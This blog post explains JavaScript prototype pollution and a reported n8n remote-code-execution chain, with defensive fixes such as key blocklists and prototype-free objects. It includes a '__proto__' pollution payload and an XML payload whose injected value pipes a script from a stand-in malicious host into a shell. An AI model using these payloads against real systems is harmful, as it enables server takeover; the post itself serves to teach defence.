Prototype Pollution Reloaded: Deep-Diving n8n's Five 9.4-Score RCE Vulnerabilities
If you build Node.js applications, I need you to drop whatever you are doing and pay close attention. On May 22, 2026, the Singapore Cyber Security Agency (CSA) and global security research groups released an urgent advisory targeting users of n8n, the popular open-source workflow automation platform.
n8n rushed out security patches addressing five critical vulnerabilities carrying a staggering CVSS v4.0 score of 9.4 (including CVE-2026-42231, CVE-2026-42232, and CVE-2026-44789). These security flaws centered on a classic, persistent, and highly dangerous Node.js vulnerability vector: Prototype Pollution. When chained together, an attacker could trigger Remote Code Execution (RCE) or arbitrary system file reads on the hosting server.
I spent the morning dissecting the patches. Let’s demystify the mechanics of JavaScript Prototype Pollution, reconstruct how n8n's XML parser nodes allowed this pollution to cascade into system-level RCE, and look at my recommended programming patterns to neutralize these vectors in your own Node.js web applications.
Understand Prototype Pollution
To understand how n8n fell victim, we must first understand the unique design of JavaScript's prototypal inheritance.
In JavaScript, objects inherit properties and methods from a prototype object. If you create a simple object const dev = { name: "Elvis" }, it implicitly inherits from Object.prototype.
If an application recursively merges or parses user-controlled JSON or XML payloads into an object without strict key validation, an attacker can pass a payload containing the special magic key __proto__.
The Vulnerable Pattern:
Let's look at a classic vulnerable object merge utility:
// A classic recursive merge that is a complete security disaster
function insecureMerge(target, source) {
for (let key in source) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
insecureMerge(target[key], source[key]);
} else {
// Direct assignment allows __proto__ property injection
target[key] = source[key];
}
}
return target;
}
// Attack Payload passed as JSON
const attackerPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userSession = {};
insecureMerge(userSession, attackerPayload);
// Now, every object created in this Node.js process inherits the 'isAdmin' property!
const normalUser = {};
console.log(normalUser.isAdmin); // Outputs: true! (Your prototype has been successfully polluted)
By polluting Object.prototype, the attacker injects properties globally across the entire runtime environment.
Reconstruct the n8n RCE Chain
The n8n vulnerability suite highlights how simple prototype pollution can be leveraged to compromise a full application server.
[ Attacker Malicious XML / JSON Payload ]
│
▼
[ n8n Webhook / XML / HTTP Request Parser ]
(Vulnerable xml2js library parsed __proto__)
│
▼
[ Object.prototype Polluted ]
(Global runtime properties manipulated)
│
▼
[ n8n Git Node Execution ]
(Pulls system properties: e.g., gitPath / shell commands)
│
▼
[ Remote Code Execution (RCE) ]
(Malicious shell command runs on host)
The Injection via xml2js (CVE-2026-42231)
The root of the issue lies in the parsing libraries utilized in n8n's Webhook, XML, and HTTP Request nodes. Specifically, the XML parser node processed XML payloads using the popular xml2js parser.
Due to a failure in filtering special keys like constructor and prototype, an attacker could transmit an XML payload constructed to pollute the process's base prototype:
<!-- Conceptual prototype pollution payload via XML -->
<root>
<constructor>
<prototype>
<gitPath>/bin/sh -c "curl http://malicious.site/shell.sh | sh"</gitPath>
</prototype>
</constructor>
</root>
The RCE Chain in the Git Node (CVE-2026-44790)
Here is where the chain becomes lethal. n8n features a Git Node that allows workflows to clone, commit, and push configurations. When the Git node is executed, it references an internal path utility to find the local system's git executable:
// Inside the vulnerable workflow execution logic
const execPath = options.gitPath || 'git'; // If options.gitPath is undefined, it checks the prototype
child_process.exec(`${execPath} status`, ...);
Under normal circumstances, options.gitPath is undefined, so the system defaults to the safe 'git' binary. However, because the attacker successfully polluted Object.prototype.gitPath via the XML node exploit, the check options.gitPath returned the injected malicious shell command!
When the Git node ran exec(), it executed the shell script, granting the attacker full remote shell control over the n8n host system.
Block the Magic Keys
If you are developing Node.js or JavaScript backend APIs, there are three primary design patterns to permanently eliminate Prototype Pollution.
1. Deny Key Names in Parsers
When writing custom merging, copying, or parsing functions, explicitly deny keys that reference prototypal properties:
// Explicit blocklist to stop __proto__ injection
const BLACKLIST = ['__proto__', 'constructor', 'prototype'];
function secureMerge(target, source) {
for (let key in source) {
if (BLACKLIST.includes(key)) continue; // Silently drop malicious keys
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
secureMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
2. Create Objects Without Prototypes
When creating key-value lookup tables or configuration stores, instantiate objects without standard prototypal chains. Using Object.create(null) creates a dictionary that does not inherit from Object.prototype, making it immune to global pollution lookups:
// A completely blank dictionary with no prototype properties to pollute
const dict = Object.create(null);
console.log(dict.toString); // undefined
Pro-tip: Freeze the Prototype in Production
As an ultimate failsafe, you can freeze the global
Object.prototypeat the entry point of your application. This prevents any modifications to the core prototype after initialization:
// Freeze the baseline Object to neutralize all prototype pollution attempts
Object.freeze(Object.prototype);
The Bottom Line
JavaScript's flexibility is its greatest strength, but prototypal inheritance is a classic footgun if you trust incoming JSON/XML blindly. Sanitize your parse trees, use Object.create(null), freeze your global prototypes in production, and update your n8n instances immediately.
References & Official Sources
- Singapore CSA Warning: High-risk advisory for Singapore enterprise IT teams regarding n8n RCE. csa.gov.sg/alerts-advisories/n8n-rce-vulnerabilities
- n8n Security Advisory (GitHub GHSA): Details and version patches for CVE-2026-42231 and related bugs. github.com/n8n-io/n8n/security/advisories
- GBHackers CyberSecurity: Exploit chain and proof of concept analysis for CVSS 9.4 prototype pollution in n8n. gbhackers.com/n8n-rce-vulnerability
Thanks for reading! Did you find this helpful?
Get in touch